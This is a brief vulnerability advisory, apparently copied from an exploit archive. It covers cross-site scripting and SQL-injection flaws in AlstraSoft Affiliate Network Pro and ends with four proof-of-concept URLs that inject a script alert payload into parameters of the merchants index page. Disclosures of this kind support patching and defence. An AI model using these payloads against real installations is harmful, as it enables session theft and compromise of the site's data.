18 lines
No EOL
1.3 KiB
Text
18 lines
No EOL
1.3 KiB
Text
source: https://www.securityfocus.com/bid/25026/info
|
|
|
|
AlstraSoft Affiliate Network Pro is affected by multiple input-validation vulnerabilities. These issues include multiple cross-site scripting isues and SQL-injection issues.
|
|
|
|
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
|
|
|
|
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
|
|
|
http://www.example.com/affiliate/merchants/index.php?
|
|
Act=programedit&mode=edit&id=42"><script>alert()</script>
|
|
|
|
http://www.example.com/affiliate/merchants/index.php?Act=
|
|
programedit&mode=edit&id=42&msg=Program%20Edited%20Success
|
|
fully"><script>alert()</script>
|
|
|
|
http://www.example.com/affiliate/merchants/index.php?Act= ProgramReport&programs=All&err=Please%20Enter%20Valid%20Date "><script>alert()</script>
|
|
|
|
http://www.example.com/affiliate/merchants/index.php?Act= add_money&msg=Please%20Enter%20A%20valid%20amount"><script>alert()</script> &modofpay=Authorize.net&bankname=&bankno=& bankemail=&bankaccount=&payableto=&minimumcheck=&affiliateid= |